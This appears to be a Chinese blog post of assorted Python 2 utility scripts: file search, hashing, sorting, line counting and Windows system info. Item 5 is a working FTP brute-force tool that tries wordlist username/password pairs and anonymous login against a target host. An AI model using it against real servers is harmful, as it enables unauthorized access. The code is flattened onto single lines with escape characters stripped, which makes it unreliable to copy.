1.用Python在文件(夹)中查找指定字符串
代码一:
#!/usr/bin/env python # -*- coding: UTF-8 -* import os, sys, re findstr = '' def func_findstr(filepath): thefile = open(filepath, 'rb') while True: buffer = thefile.read(104857600) if not buffer: break for match in re.findall('\n.*' + findstr + '.*\n', buffer): print "Found in " + filepath + " %s" % match print '' thefile.close() def func_walks(path): for root, dirs, files in os.walk(path): for f in files: f = os.path.join(root, f) func_findstr(f) def filterstr(str): str = str.replace('.', '\.').replace('[', '\[').replace(']', '\]').replace('$', '\$').replace('\\', '\\\\') return str.replace('(', '\(').replace(')', '\)').replace('{', '\{').replace('}', '\}').replace('^', '\^') if __name__ == '__main__': if len(sys.argv)>=4 and (sys.argv[1]=='-f' or sys.argv[1]=='-d'): if sys.argv[1]=='-f' and os.path.isfile(sys.argv[2]): findstr = filterstr(sys.argv[3]) func_findstr(sys.argv[2]) elif sys.argv[1]=='-d' and os.path.exists(sys.argv[2]): findstr = filterstr(sys.argv[3]) func_walks(sys.argv[2]) else: print '-- 参数错误' elif len(sys.argv)==2: findstr = filterstr(sys.argv[1]) print func_walks(os.getcwd()) else: print '-- 参数说明 :' print ' 1. ' + sys.argv[0] + ' -f' + ' filename "string" t在指定文件查找字符' print ' 2. ' + sys.argv[0] + ' -d' + ' directory "string" t在指定目录(包括子目录)下的所有文件查找字符串' print ' 3. ' + sys.argv[0] + ' "string" t在当前目录(包括子目录)下的所有文件查找字符串'
代码二:
#!/usr/bin/env python #-*- coding: UTF-8 -*- import os, sys listonly = False skipexts = ['.gif', '.exe', '.pyc', '.o', '.a', '.dll', '.lib', '.pdb', '.mdb'] # ignore binary files def visitfile(fname, searchKey): # for each non-dir file global fcount, vcount try: if not listonly: if os.path.splitext(fname)[1] in skipexts: pass elif open(fname).read().find(searchKey) != -1: print'%s has %s' % (fname, searchKey) fcount += 1 except: pass vcount += 1 def visitor(args, directoryName, filesInDirectory): # called for each dir for fname in filesInDirectory: fpath = os.path.join(directoryName, fname) if not os.path.isdir(fpath): visitfile(fpath, args) def searcher(startdir, searchkey): global fcount, vcount fcount = vcount = 0 os.path.walk(startdir, visitor, searchkey) if __name__ == '__main__': root=raw_input("type search directory:") key=raw_input("type search string:") searcher(root, key) print 'Found in %d files, visited %d' % (fcount, vcount)
2.计算指定文件的MD5/SHA1值
#!/usr/bin/env python #-*- coding: UTF-8 -*- #用 Python 检测文件的MD5值 import hashlib import os, sys #简单的测试一个字符串的MD5值 def GetStrMd5(src): m0=hashlib.md5() m0.update(src) print m0.hexdigest() pass #计算大文件的MD5值(分块读取) def GetFileMd5(filename): if not os.path.isfile(filename): return myhash = hashlib.md5() f = file(filename, 'rb') while True: b = f.read(8096) if not b : break myhash.update(b) f.close() return myhash.hexdigest() def CalcSha1(filepath): with open(filepath, 'rb') as f: sha1obj = hashlib.sha1() sha1obj.update(f.read()) hash = sha1obj.hexdigest() print(hash) return hash def CalcMD5(filepath): with open(filepath, 'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() print(hash) return hash if __name__ == "__main__": if len(sys.argv)==2 : hashfile = sys.argv[1] if not os.path.exists(hashfile): hashfile = os.path.join(os.path.dirname(__file__), hashfile) if not os.path.exists(hashfile): print("cannot found file") else: CalcMD5(hashfile) else: CalcMD5(hashfile) #raw_input("pause") else: print("no filename")
之前也有一个可以同时指定多个文件的Python脚本: 计算文件MD5值的小脚本 。
3.自重启脚本
#!/usr/bin/env python #-*- coding: UTF-8 -*- import time, sys, os def restart_program(): python = sys.executable os.execl(python, python, * sys.argv) if __name__ == "__main__": print 'start...' # answer = raw_input("Do you want to restart this program ? ") # if answer.strip() in "y Y yes Yes YES".split(): # restart_program() print u"3秒后,程序将结束...".encode("gbk") time.sleep(3) restart_program()
不过一般其实是写个bash脚本放在crontab中周期性检查以达到服务稳定的目的的。
4.列表去重,不打乱原有顺序
def test1(): a=[2,4,5,2,6,8,0,9,8,5] list_test=[] for i in a: if i not in list_test: list_test.append(i) def test2(): a=[2,4,5,2,6,8,0,9,8,5] list_test2=list(set(a)) list_test2.sort(key=a.index))
5.FTP暴力破解的单线程脚本
#!/usr/bin/env python # -*- coding: utf_8 -*- import ftplib, socket, re, sys, time def usage(): print '+' + '-' * 50 + '+' print 't Python FTP暴力破解工具单线程版' print '+' + '-' * 50 + '+' if len(sys.argv) != 4: print "用法: ftpbrute.py 待破解的ip/domain 用户名列表 字典列表" print "实例: ftpbrute.py 127.0.0.1 user.txt pass.txt" sys.exit() def ftp_anon(host): try: print 'n[+] 测试匿名登陆……n' ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login() ftp.retrlines('LIST') ftp.quit() print 'n[+] 匿名登陆成功……' except ftplib.all_errors: print 'n[-] 匿名登陆失败……' def ftp_crack(host, user, pwd): try: ftp = ftplib.FTP() ftp.connect(host, 21, 10) ftp.login(user, pwd) ftp.retrlines('LIST') ftp.quit() print 'n[+] 破解成功,用户名:' + user + ' 密码:' + pwd except ftplib.all_errors: pass if __name__ == '__main__': start_time = time.time() usage() if re.match(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [x.rstrip() for x in open(sys.argv[2])] passlist = [x.rstrip() for x in open(sys.argv[3])] print '[+] Target:', host print '[+] Userlist:', len(userlist) print '[+] Passlist:', len(passlist) ftp_anon(host) print 'n[+] 暴力破解测试中……n' for user in userlist: for pwd in passlist: ftp_crack(host, user, pwd) print 'n[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
说明:上面这个FTP的爆破脚本是从“[Python] FTP暴力破解工具单线程版”摘录而来,因为个人不太喜欢在脚本中添加一些不必要的信息,所以就去掉了原脚本中的一些print内容,但我会在文中的相应地方给出说明,若有不妥可以联系我删除。
6.一些典型的排序算法
#!/usr/bin/env python # coding = utf-8 import sys, getopt, random def bubble_sort(seq): for i in range(len(seq)): for j in range(1, len(seq)): if seq[j-1]>seq[j]: seq[j-1], seq[j] = seq[j], seq[j-1] return seq def insertion_sort(seq): for i in range(1, len(seq)): tmp = seq[i] pos = i; for j in range(i-1, -1, -1): if seq[j]>tmp: seq[j+1] = seq[j] pos = j seq[pos] = tmp return seq def selection_sort(seq): for i in range(len(seq)): min_index = i; for j in range(i, len(seq)): if seq[j]<seq[min_index]: min_index = j seq[i], seq[min_index] = seq[min_index], seq[i] return seq def partition(seq, p, l, r): pivot = seq[p] seq[p], seq[r] = seq[r], seq[p] p_pos = l for i in range(l, r): if seq[i] <= pivot: seq[i], seq[p_pos] = seq[p_pos], seq[i] p_pos = p_pos+1 seq[p_pos], seq[r] = seq[r], seq[p_pos] return p_pos def quick_sort(seq, left, right): if left < right: pivot = random.randint(left, right) mid = partition(seq, pivot, left, right) quick_sort(seq, left, mid-1) quick_sort(seq, mid+1, right) return seq def shell_sort(seq): incr = len(seq)/2 while(incr >= 1): for i in range(incr, len(seq)): tmp = seq[i] pos = i; for j in range(i-incr, -1, -incr): if seq[j]>tmp: seq[j+incr] = seq[j] pos = j seq[pos] = tmp incr = incr/2 return seq def usage(): print 'Usage: python sort.py sorttype[-q|-i|-b|-s|--shell] sequence' print 'Example: python sort.py -q 11, 32, 3, 24, 5' def main(): try: if(len(sys.argv) == 1) or (len(sys.argv)! = 3): raise Exception() else: opts, args = getopt.getopt(sys.argv[1:], 'qibs', ['shell']) if len(args)>0: seq = [] tmp = args[0].split(', ') for i in tmp: seq.append(int(i)) else: raise Exception() for opt in opts: if opt[0] == '-q': print quick_sort(seq, 0, len(seq)-1) elif opt[0] == '-i': print insertion_sort(seq) elif opt[0] == '-b': print bubble_sort(seq) elif opt[0] == '-s': print selection_sort(seq) elif opt[0] == '--shell': print shell_sort(seq) except Exception, e: usage() print e sys.exit() if __name__ == "__main__": main()
7.列出指定文件夹中各文件(仅限文本文件)的行数
#!/usr/bin/env python # coding=utf-8 import os import fileinput dest="/root/log_backup" for root, dirs, filename in os.walk(dest): for file in filename: f = os.path.join(root, file) for each in fileinput.input(f): pass print "filename:%s filenumber:%s" % (fileinput.filename(), fileinput.lineno())
8.用wmi模块检测Windows系统信息
#!/usr/bin/env python # -*- coding: utf-8 -*- import wmi import sys, time, platform def get_system_info(os): print "Operating system:" if os == "Windows": c = wmi.WMI() for sys in c.Win32_OperatingSystem(): print 't' + "Version :t%s" % sys.Caption.encode("GBK") print 't' + "Vernum :t%s" % sys.BuildNumber def get_memory_info(os): print "memory_info:" if os == "Windows": c = wmi.WMI() cs = c.Win32_ComputerSystem() pfu = c.Win32_PageFileUsage() MemTotal = int(cs[0].TotalPhysicalMemory)/1024/1024 print 't' + "TotalPhysicalMemory :" + 't' + str(MemTotal) + "M" #tmpdict["MemFree"] = int(os[0].FreePhysicalMemory)/1024 SwapTotal = int(pfu[0].AllocatedBaseSize) print 't' + "SwapTotal :" + 't' + str(SwapTotal) + "M" #tmpdict["SwapFree"] = int(pfu[0].AllocatedBaseSize - pfu[0].CurrentUsage) def get_disk_info(os): print "disk_info:" if os == "Windows": tmplist = [] c = wmi.WMI() for physical_disk in c.Win32_DiskDrive(): if physical_disk.Size: print 't' + str(physical_disk.Caption) + ' :t' + str(long(physical_disk.Size)/1024/1024/1024) + "G" def get_cpu_info(os): print "cpu_info:" if os == "Windows": tmpdict = {} tmpdict["CpuCores"] = 0 c = wmi.WMI() for cpu in c.Win32_Processor(): tmpdict["CpuType"] = cpu.Name try: tmpdict["CpuCores"] = cpu.NumberOfCores except: tmpdict["CpuCores"] += 1 tmpdict["CpuClock"] = cpu.MaxClockSpeed print 't' + 'CpuType :t' + str(tmpdict["CpuType"]) print 't' + 'CpuCores :t' + str(tmpdict["CpuCores"]) def get_network_info(os): print "network_info:" if os == "Windows": tmplist = [] c = wmi.WMI() for interface in c.Win32_NetworkAdapterConfiguration (IPEnabled=1): tmpdict = {} tmpdict["Description"] = interface.Description tmpdict["IPAddress"] = interface.IPAddress[0] tmpdict["IPSubnet"] = interface.IPSubnet[0] tmpdict["MAC"] = interface.MACAddress tmplist.append(tmpdict) for i in tmplist: print 't' + i["Description"] print 't' + 't' + "MAC :" + 't' + i["MAC"] print 't' + 't' + "IPAddress :" + 't' + i["IPAddress"] print 't' + 't' + "IPSubnet :" + 't' + i["IPSubnet"] for interfacePerfTCP in c.Win32_PerfRawData_Tcpip_TCPv4(): print 't' + 'TCP Connect :t' + str(interfacePerfTCP.ConnectionsEstablished) if __name__ == "__main__": os = platform.system() get_system_info(os) get_memory_info(os) get_disk_info(os) get_cpu_info(os) get_network_info(os)
需要安装pywin32/wmi模块,可以使用pip进行快速安装,也可以使用已经编译好的exe程序进行安装,下载链接:Python Extension Packages for Windows – Christoph Gohlke
待续……